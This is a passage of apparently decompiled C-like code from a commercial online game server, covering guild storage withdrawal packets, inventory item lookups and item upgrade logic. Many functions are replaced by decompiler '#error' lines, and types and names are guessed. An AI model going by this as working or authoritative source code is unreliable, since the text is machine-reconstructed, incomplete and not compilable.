*(_DWORD *)(withdraw + 12); *((_WORD *)v14 + 5) = *(_WORD *)(withdraw + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck : Packet Too Long", 12); } v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29843; v17 = (int)(v16 + 2); v16[2] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v17 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v17 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v17 + 7) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1980))(v2); *(_BYTE *)(v17 + 11) = 2; *(_QWORD *)(v17 + 32) = v13; v18 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); *(_DWORD *)(v17 + 14) = *(_DWORD *)v18; *(_DWORD *)(v17 + 18) = *(_DWORD *)(v18 + 4); *(_DWORD *)(v17 + 22) = *(_DWORD *)(v18 + 8); *(_DWORD *)(v17 + 26) = *(_DWORD *)(v18 + 12); *(_WORD *)(v17 + 30) = -1; *(_BYTE *)(v17 + 12) = 0; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 42); memcpy(&tempring, (const void *)v17, sizeof(tempring)); GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member(&gldstoramanager, &tempring); v21 = "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck"; } else { v19 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v19 + 32))(v19, *(_WORD *)(withdraw + 6)); *(_WORD *)gpp.pp_Buffer = 12327; *(_WORD *)(withdraw + 16) = 5253; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v20 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v20 + 12))(v20, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck : Packet Too Long", 12); } v21 = "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck"; } --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v21); __security_check_cookie(v24); } //----- (004E8030) -------------------------------------------------------- char __thiscall ItemDataBox::idb_NoSellItem(ItemDataBox *this, unsigned __int16 item) { ItemInfo *v2; // eax@2 char result; // al@3 if ( item < this->idb_maxItemhandle && (v2 = this->idb_index[item].data) != 0 ) result = v2->NoSell; else result = 1; return result; } //----- (004E8060) -------------------------------------------------------- #error "4E8060: undefined or illegal type '#434' (funcsize=139)" //----- (004E8250) -------------------------------------------------------- #error "4E8250: undefined or illegal type '#434' (funcsize=193)" //----- (004E8500) -------------------------------------------------------- #error "4E8500: undefined or illegal type '#434' (funcsize=308)" //----- (004E88E0) -------------------------------------------------------- #error "4E88E0: undefined or illegal type '#325' (funcsize=80)" //----- (004E8A00) -------------------------------------------------------- #error "4E8A00: undefined or illegal type '#325' (funcsize=80)" //----- (004E8B20) -------------------------------------------------------- #error "4E8B20: undefined or illegal type '#325' (funcsize=68)" //----- (004E8C10) -------------------------------------------------------- #error "4E8C10: undefined or illegal type '#325' (funcsize=138)" //----- (004E8DE0) -------------------------------------------------------- #error "4E8DE0: undefined or illegal type '#325' (funcsize=72)" //----- (004E8EE0) -------------------------------------------------------- #error "4E8EE0: undefined or illegal type '#325' (funcsize=763)" //----- (004E99C0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck(void *ecx0, unsigned int itemkey, int nGuildNo) { void *v3; // esi@1 int v4; // edx@1 int v5; // eax@3 int v6; // eax@8 int v7; // eax@15 unsigned __int16 *v8; // ST04_4@15 unsigned int v9; // eax@15 GuildStorage::GuildStorageElement *v10; // edi@15 bool i; // zf@18 unsigned int v12; // edi@22 __int16 v13; // ax@23 int v14; // eax@24 unsigned __int16 *v15; // eax@34 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v16; // eax@34 DiceTaiSai *v17; // esi@34 ItemBag *v18; // eax@36 int v19; // eax@38 __int16 v20; // si@45 ItemBoxIterItem this; // [sp+10h] [bp-2Ch]@36 ItemBoxIterItem ibii; // [sp+20h] [bp-1Ch]@1 int v24; // [sp+38h] [bp-4h]@1 v3 = ecx0; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = (ItemBag *)((char *)v3 + 35536); v4 = *((_DWORD *)v3 + 8884); v24 = 0; ibii.baseclass_0.ibi_Limit = (*(int (**)(void))(v4 + 8))(); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v24) = 1; ibii.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) { while ( 1 ) { v5 = ((int (__stdcall *)(int))ibii.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibii.baseclass_0.ibi_finger); if ( !v5 ) break; if ( !*(_DWORD *)(v5 + 112) ) break; if ( *(_DWORD *)v5 == *(_DWORD *)itemkey && *(_DWORD *)(v5 + 4) == *(_DWORD *)(itemkey + 4) ) { LABEL_23: v13 = (*(int (__stdcall **)(int))(**(_DWORD **)(v5 + 112) + 24))(v5 + 8); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; LABEL_45: --funcallanalizer.fca_stackpoint; v20 = v13; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck"); return v20; } if ( !ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) goto LABEL_8; } } else { LABEL_8: ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = (ItemBag *)((char *)v3 + 69432); v6 = *((_DWORD *)v3 + 17358); LOBYTE(v24) = 0; ibii.baseclass_0.ibi_Limit = (*(int (**)(void))(v6 + 8))(); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v24) = 2; ibii.baseclass_0.ibi_finger = 0; if ( !(unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) && !ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) { LABEL_15: v7 = *(_DWORD *)v3; LOBYTE(v24) = 0; v8 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(v7 + 2004))(v3); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1980))(v3); v10 = GuildStorage::GuildStorageManager::gsm_FindStorage(&gldstoramanager, v9, v8); if ( v10 && v10->gse_Guild == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1980))(v3) ) { ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = (ItemBag *)v10; ibii.baseclass_0.ibi_Limit = v10->gse_Storage.baseclass_0.vfptr->ib_BagSizeOutput((ItemBag *)v10); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v24) = 3; ibii.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) ) goto LABEL_24; for ( i = ItemBoxIterator::ibi_Next(&ibii.baseclass_0) == 0; ; i = ItemBoxIterator::ibi_Next(&ibii.baseclass_0) == 0 ) { if ( i ) { LOBYTE(v24) = 0; goto LABEL_21; } LABEL_24: v14 = ((int (__stdcall *)(int))ibii.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibii.baseclass_0.ibi_finger); if ( !v14 ) break; if ( !*(_DWORD *)(v14 + 112) ) break; if ( *(_DWORD *)v14 == *(_DWORD *)itemkey && *(_DWORD *)(v14 + 4) == *(_DWORD *)(itemkey + 4) ) { v13 = (*(int (__stdcall **)(int))(**(_DWORD **)(v14 + 112) + 24))(v14 + 8); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; goto LABEL_45; } } ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } else { LABEL_21: if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2044))(v3) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2044))(v3) == 1 ) v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2048))(v3); else v12 = itemkey; } else { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1980))(v3); } v15 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2016))(v3); v16 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, v12, v15); v17 = (DiceTaiSai *)v16; if ( v16 && GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCheck(v16, v12) ) { MoveManager::MoveManager(v17); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; this.baseclass_0.ibi_itembag = v18; this.baseclass_0.ibi_Limit = v18->vfptr->ib_BagSizeOutput(v18); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v24) = 4; this.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&this) || ItemBoxIterator::ibi_Next(&this.baseclass_0) ) { do { v19 = ((int (__stdcall *)(int))this.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(this.baseclass_0.ibi_finger); if ( !v19 ) break; if ( !*(_DWORD *)(v19 + 112) ) break; if ( *(_DWORD *)v19 == *(_DWORD *)itemkey && *(_DWORD *)(v19 + 4) == *(_DWORD *)(itemkey + 4) ) { v13 = (*(int (__stdcall **)(int))(**(_DWORD **)(v19 + 112) + 24))(v19 + 8); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; goto LABEL_45; } } while ( ItemBoxIterator::ibi_Next(&this.baseclass_0) ); } this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } } goto LABEL_47; } while ( 1 ) { v5 = ((int (__stdcall *)(_DWORD))ibii.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibii.baseclass_0.ibi_finger); if ( !v5 ) break; if ( !*(_DWORD *)(v5 + 112) ) break; if ( *(_DWORD *)v5 == *(_DWORD *)itemkey && *(_DWORD *)(v5 + 4) == *(_DWORD *)(itemkey + 4) ) goto LABEL_23; if ( !ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) goto LABEL_15; } } ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; LABEL_47: --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck"); return 0; } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (004E9DA0) -------------------------------------------------------- #error "4E9DA0: undefined or illegal type '#434' (funcsize=325)" //----- (004EA1F0) -------------------------------------------------------- #error "4EA1F0: undefined or illegal type '#325' (funcsize=68)" //----- (004EA2E0) -------------------------------------------------------- #error "4EA2E0: undefined or illegal type '#325' (funcsize=121)" //----- (004EA490) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetLastUpgradeInfo() { return &ShineObjectClass::ShineObject::so_deflastupgradeinfo; } //----- (004EA4A0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetLastUpgradeInfo(void *this) { return (int)((char *)this + 88993); } //----- (004EA4B0) -------------------------------------------------------- bool __cdecl item_RandomOptionUpgrade(SHINE_ITEM_STRUCT *pItemStruct, ItemOptionStorage::Element *rOption, int muliple, int NewLevel) { ItemDataBox::ItemDataBoxIndex *v4; // eax@1 ItemDataBox::ItemDataBoxIndex *v5; // ebp@1 unsigned int v6; // edi@1 ItemInfo *v7; // eax@4 unsigned int v8; // esi@6 char *v9; // ST14_4@6 unsigned int v10; // esi@6 ItemRandomOption::RandomOptionDatum *v11; // eax@6 CardDeck::CardStack *v12; // ecx@8 bool result; // al@10 signed int v14; // eax@11 unsigned int v15; // esi@12 char *v16; // edi@12 char *v17; // ebp@19 unsigned int v18; // esi@24 char *v19; // edi@24 signed int v20; // esi@30 unsigned int *v21; // edi@34 int v22; // eax@36 unsigned __int8 v23; // al@40 bool v24; // cf@40 char v25; // al@41 unsigned __int16 v26; // si@43 int v27; // eax@43 int v28; // ebp@43 int v29; // eax@43 int v30; // ecx@45 signed int nMaxCount; // [sp+0h] [bp-48h]@18 ItemDataBox::ItemDataBoxIndex *index; // [sp+4h] [bp-44h]@1 signed int RandomOptionMaxCount; // [sp+8h] [bp-40h]@11 CardDeck::CardStack CardStack; // [sp+Ch] [bp-3Ch]@6 unsigned int option_type; // [sp+2Ch] [bp-1Ch]@39 char bEnableOption[5]; // [sp+30h] [bp-18h]@18 unsigned int v37; // [sp+38h] [bp-10h]@10 int v38; // [sp+44h] [bp-4h]@6 v4 = ItemDataBox::operator__(&itemdatabox, pItemStruct->itemid); v5 = v4; v6 = 0; index = v4; if ( !v4 ) { AssertClass::ac_AssertFail(&shineassert, "item_RandomOptionUpgrade : Not Found Item ID :", pItemStruct->itemid); goto LABEL_10; } v7 = v4->data; if ( v5->data && v7->Class == 4 ) { CardDeck::CardStack::CardStack(&CardStack); v8 = pItemStruct->itemattr.amulet.option.fixed.optionnumber.str._bf0; v9 = v5->dataserv->RandomOptionDropGroup; v38 = 0; v10 = v8 >> 1; v11 = ItemRandomOption::RandomOptionTable::operator__(&itemrandomoptiontable, v9); if ( !v11 ) { AssertClass::ac_AssertFail( &shineassert, "item_RandomOptionUpgrade : Not Found RandomOptionDropGroup :", v5->dataserv->RandomOptionDropGroup); goto LABEL_8; } v14 = v11->MaxOpCount; RandomOptionMaxCount = v14; if ( muliple >= 0 ) { if ( (signed int)v10 >= v14 ) { if ( (signed int)v10 > 0 ) { v21 = (unsigned int *)pItemStruct->itemattr.amulet.option.optionlist; do { CardDeck::CardStack::cs_InsertTop(&CardStack, *(_BYTE *)v21); v21 = (unsigned int *)((char *)v21 + 3); --v10; } while ( v10 ); } } else { nMaxCount = 0; bEnableOption[0] = 0; *(_DWORD *)&bEnableOption[1] = 0; if ( (signed int)v10 > 0 ) { v17 = (char *)pItemStruct->itemattr.amulet.option.optionlist; do { if ( (unsigned __int8)*v17 < 5u ) { ++nMaxCount; bEnableOption[(unsigned __int8)*v17] = 1; CardDeck::CardStack::cs_InsertTop(&CardStack, v6); } ++v6; v17 += 3; } while ( (signed int)v6 < (signed int)v10 ); v5 = index; } v18 = 0; v19 = (char *)pItemStruct->itemattr.amulet.upgradeopton; do { if ( *(_WORD *)v19 && !bEnableOption[v18] ) { CardDeck::CardStack::cs_InsertTop(&CardStack, v18); ++nMaxCount; } ++v18; v19 += 2; } while ( (signed int)v18 < 5 ); if ( nMaxCount < RandomOptionMaxCount ) { CardDeck::CardStack::cs_Clear(&CardStack); v20 = 0; do CardDeck::CardStack::cs_InsertTop(&CardStack, v20++); while ( v20 < 5 ); } } } else { v15 = 0; v16 = (char *)pItemStruct->itemattr.amulet.upgradeopton; do { if ( *(_WORD *)v16 ) CardDeck::CardStack::cs_InsertTop(&CardStack, v15); ++v15; v16 += 2; } while ( (signed int)v15 < 5 ); } v22 = CardDeck::CardStack::cs_CardNum(&CardStack); v12 = &CardStack; if ( !v22 ) goto LABEL_9; if ( CardDeck::CardStack::cs_CardNum(&CardStack) > 1 ) CardDeck::CardStack::cs_Suffle(&CardStack, 10); if ( !CardDeck::CardStack::cs_TakeTop(&CardStack, &option_type) || (v23 = option_type, v24 = (unsigned __int8)option_type < 5u, rOption->itemoption_type = option_type, !v24) ) { LABEL_8: v12 = &CardStack; LABEL_9: v38 = -1; CardDeck::CardStack::_CardStack(v12); goto LABEL_10; } rOption->itemoption_value = pItemStruct->itemattr.amulet.upgradeopton[v23]; v25 = 1; if ( muliple < 1 ) v25 = 0; v26 = (unsigned __int8)v25; v27 = rOption->itemoption_value + muliple * AccUpGradeInfoTable::GetRandomUpgradeValue( v5->data->BasicUpInx, (unsigned __int8)v25, pItemStruct->itemattr.amulet.upgrade); v28 = v27 & ((v27 <= 0) - 1); v29 = AccUpGradeInfoTable::GetLimit(index->data->BasicUpInx, v26, pItemStruct->itemattr.amulet.upgrade); if ( v28 < v29 ) LOWORD(v29) = v28; v30 = rOption->itemoption_type; rOption->itemoption_value = v29; pItemStruct->itemattr.amulet.upgradeopton[v30] = v29; if ( !NewLevel ) { *(_QWORD *)&pItemStruct->itemattr.amulet.upgradeopton[0] = 0i64; pItemStruct->itemattr.amulet.upgradeopton[4] = 0; } v38 = -1; CardDeck::CardStack::_CardStack(&CardStack); } LABEL_10: __security_check_cookie(v37); return result; } //----- (004EA780) -------------------------------------------------------- char __cdecl Item_GetUpgradeLimit(unsigned __int16 nItemID) { int v1; // ecx@2 ItemInfo *v3; // eax@4 char v4; // bl@5 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_GetUpgradeLimit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_GetUpgradeLimit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !ItemDataBox::operator__(&itemdatabox, nItemID) ) { v1 = funcallanalizer.fca_stackpoint - 1; LABEL_3: funcallanalizer.fca_stackpoint = v1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_GetUpgradeLimit"); return 0; } v3 = ItemDataBox::operator__(&itemdatabox, nItemID)->data; v1 = funcallanalizer.fca_stackpoint - 1; if ( !v3 ) goto LABEL_3; v4 = v3->UpLimit; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_GetUpgradeLimit"); return v4; } //----- (004EA870) -------------------------------------------------------- bool __cdecl Item_IsUpSource(unsigned __int16 nItemID, unsigned __int16 nRawID, char nItemUpgradeLevel) { ItemInfo *v3; // esi@2 bool result; // al@4 ItemInfo *v5; // eax@7 unsigned int v6; // ecx@8 FunctionEntarance _; // [sp+0h] [bp-10h]@1 int v8; // [sp+Ch] [bp-4h]@1 _.fe_FunctionCode = "Item_IsUpSource"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_IsUpSource"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_IsUpSource"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; if ( ItemDataBox::operator__(&itemdatabox, nRawID) && (v3 = ItemDataBox::operator__(&itemdatabox, nRawID)->data) != 0 && v3->Class == 14 ) { if ( ItemDataBox::operator__(&itemdatabox, nItemID) ) { v5 = ItemDataBox::operator__(&itemdatabox, nItemID)->data; if ( !v5 || (v6 = v3->Grade, v5->Grade != v6) && v6 || (unsigned __int8)nItemUpgradeLevel < v3->UpLimit || (unsigned __int8)nItemUpgradeLevel > v3->UpResource ) { v8 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } else { v8 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } } else { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_IsUpSource"); result = 0; } } else { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_IsUpSource"); result = 0; } return result; } //----- (004EA9E0) -------------------------------------------------------- bool __cdecl Item_IsUpSourceLeftRight(unsigned __int16 nItemID, unsigned __int16 nRawID, char nItemUpgradeLevel) { ItemInfo *v3; // esi@2 bool result; // al@3 ItemClassEnum v5; // eax@4 ItemInfo *v6; // eax@9 FunctionEntarance _; // [sp+0h] [bp-10h]@1 int v8; // [sp+Ch] [bp-4h]@1 _.fe_FunctionCode = "Item_IsUpSource"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_IsUpSource"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_IsUpSource"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; if ( ItemDataBox::operator__(&itemdatabox, nRawID) && (v3 = ItemDataBox::operator__(&itemdatabox, nRawID)->data) != 0 ) { v5 = v3->Class; if ( v5 == 19 || v5 == 25 || v5 == 20 ) { if ( ItemDataBox::operator__(&itemdatabox, nItemID) && (v6 = ItemDataBox::operator__(&itemdatabox, nItemID)->data) != 0 ) { if ( v6->Grade != v3->Grade || (unsigned __int8)nItemUpgradeLevel < v3->UpLimit || (unsigned __int8)nItemUpgradeLevel > v3->UpResource ) { v8 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } else { v8 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } } else { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_IsUpSource"); result = 0; } } else { v8 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } } else { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_IsUpSource"); result = 0; } return result; } //----- (004EAB70) -------------------------------------------------------- char __cdecl Item_AdjUpgradeLevel(SHINE_ITEM_STRUCT *pItemStruct, char AdjValue) { char v2; // dl@2 char v3; // bl@2 char v4; // dl@3 char v5; // dl@5 char result; // al@6 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_AdjUpgradeLevel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_AdjUpgradeLevel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; switch ( ItemDataBox::operator__(&itemdatabox, pItemStruct->itemid)->data->Class ) { case 5: case 8: v2 = AdjValue + pItemStruct->itemattr.blot.lot; pItemStruct->itemattr.blot.lot = v2; v3 = v2; goto LABEL_6; case 6: v4 = AdjValue + pItemStruct->itemattr.blot.lot; pItemStruct->itemattr.blot.lot = v4; v3 = v4; goto LABEL_6; case 7: v3 = AdjValue + pItemStruct->itemattr.blot.lot; pItemStruct->itemattr.blot.lot = v3; goto LABEL_6; case 4: v5 = AdjValue + pItemStruct->itemattr.amulet.upgrade; pItemStruct->itemattr.amulet.upgrade = v5; v3 = v5; LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_AdjUpgradeLevel"); result = v3; break; default: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_AdjUpgradeLevel"); result = 0; break; } return result; } //----- (004EACA0) -------------------------------------------------------- char __cdecl Item_AdjFailCount(SHINE_ITEM_STRUCT *pItemStruct, char AdjValue, char bSet) { char v3; // bl@3 char v4; // al@4 char v5; // cl@7 char v6; // al@10 char result; // al@15 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_AdjFailCount"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_AdjFailCount"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; switch ( ItemDataBox::operator__(&itemdatabox, pItemStruct->itemid)->data->Class ) { case 5: case 8: if ( bSet ) { BYTE2(pItemStruct->itemattr.dlot.lot) = AdjValue; v3 = AdjValue; } else { v4 = AdjValue + BYTE2(pItemStruct->itemattr.dlot.lot); BYTE2(pItemStruct->itemattr.dlot.lot) = v4; v3 = v4; } goto LABEL_15; case 6: if ( bSet ) { BYTE2(pItemStruct->itemattr.dlot.lot) = AdjValue; v3 = AdjValue; } else { v5 = AdjValue + BYTE2(pItemStruct->itemattr.dlot.lot); BYTE2(pItemStruct->itemattr.dlot.lot) = v5; v3 = v5; } goto LABEL_15; case 7: if ( bSet ) { BYTE2(pItemStruct->itemattr.dlot.lot) = AdjValue; v3 = AdjValue; } else { v6 = AdjValue + BYTE2(pItemStruct->itemattr.dlot.lot); BYTE2(pItemStruct->itemattr.dlot.lot) = v6; v3 = v6; } goto LABEL_15; case 4: if ( bSet ) pItemStruct->itemattr.amulet.upgradefailcount = AdjValue; else pItemStruct->itemattr.amulet.upgradefailcount += AdjValue; v3 = pItemStruct->itemattr.amulet.upgradefailcount; LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_AdjFailCount"); result = v3; break; default: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_AdjFailCount"); result = 0; break; } return result; } //----- (004EAE30) -------------------------------------------------------- #error "4EAE30: undefined or illegal type '#325' (funcsize=264)" //----- (004EB1D0) -------------------------------------------------------- AccUpgrade *__cdecl ITableBase::GetByIndex(unsigned int uiIndex) { return (AccUpgrade *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), uiIndex); } // 124CE158: using guessed type int ITableBase_AccUpgrade_AccUpGradeTable___ms_pkTable; //----- (004EB1F0) -------------------------------------------------------- char __cdecl Item_Upgrade(#434 *a1, ItemBag *pInventory, char nItemUpLimit, char nItemUpgradeFailCount, char RawLeftSlotNo, char RawRightSlotNo, char RawMiddleSlotNo) { ItemBag *v7; // edi@1 ItemBagVtbl *v8; // edx@1 int v9; // esi@1 int v10; // ebx@1 unsigned __int16 v11; // ST08_2@1 ItemInfo *v12; // eax@3 int v13; // edx@3 signed int v14; // ebp@3 char v15; // dl@5 unsigned __int8 v16; // al@5 char result; // al@10 int v18; // eax@11 int v19; // esi@11 int v20; // eax@14 int v21; // ebp@14 ItemDataBox::ItemDataBoxIndex *v22; // eax@16 int v23; // eax@18 int v24; // esi@18 int v25; // eax@24 int v26; // edi@24 int v27; // esi@27 void *v28; // eax@27 unsigned __int16 v29; // bp@27 int v30; // edi@27 unsigned __int16 v31; // bx@27 AccUpgrade *v32; // eax@28 ItemDataBox::ItemDataBoxIndex *v33; // eax@31 int v34; // ecx@34 int v35; // esi@36 int v36; // ebp@36 int v37; // eax@36 char v38; // bl@38 signed int v39; // esi@45 char *v40; // [sp+0h] [bp-4Ch]@2 char nCon; // [sp+14h] [bp-38h]@4 unsigned __int16 nCona; // [sp+14h] [bp-38h]@27 FunctionEntarance _; // [sp+18h] [bp-34h]@1 ItemInfo *pItemIDRawInfo; // [sp+1Ch] [bp-30h]@13 ItemInfo *pItemRawLeftInfo; // [sp+20h] [bp-2Ch]@16 ItemInfo *pItemRawRightInfo; // [sp+24h] [bp-28h]@20 ItemInfo *pItemRawMiddleInfo; // [sp+28h] [bp-24h]@26 unsigned int nGrade; // [sp+2Ch] [bp-20h]@3 int ItemClass; // [sp+30h] [bp-1Ch]@3 int nItemID; // [sp+34h] [bp-18h]@1 ItemInfo *pItemIDInfo; // [sp+38h] [bp-14h]@3 int v52; // [sp+3Ch] [bp-10h]@27 int v53; // [sp+48h] [bp-4h]@1 char pInventorya; // [sp+54h] [bp+8h]@1 unsigned __int8 nItemUpLimita; // [sp+58h] [bp+Ch]@4 _.fe_FunctionCode = "Item_Upgrade Table mode"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_Upgrade Table mode"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_Upgrade Table mode"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = pInventory; v8 = pInventory->vfptr; v53 = 0; v9 = v8->ib_GetInventoryCell(pInventory, (unsigned __int8)nItemUpLimit); v10 = *(_WORD *)(v9 + 8); v11 = *(_WORD *)(v9 + 8); nItemID = *(_WORD *)(v9 + 8); pInventorya = Item_GetUpgradeLimit(v11); if ( pInventorya ) { v12 = ItemDataBox::operator__(&itemdatabox, v10)->data; nGrade = v12->Grade; v13 = **(_DWORD **)(v9 + 112); pItemIDInfo = v12; v14 = 0; ItemClass = (*(int (**)(void))(v13 + 36))(); switch ( ItemClass ) { case 5: case 8: nCon = *(_BYTE *)(v9 + 10); nItemUpLimita = *(_BYTE *)(v9 + 12); break; case 6: v15 = *(_BYTE *)(v9 + 10); v16 = *(_BYTE *)(v9 + 12); goto LABEL_8; case 7: nCon = *(_BYTE *)(v9 + 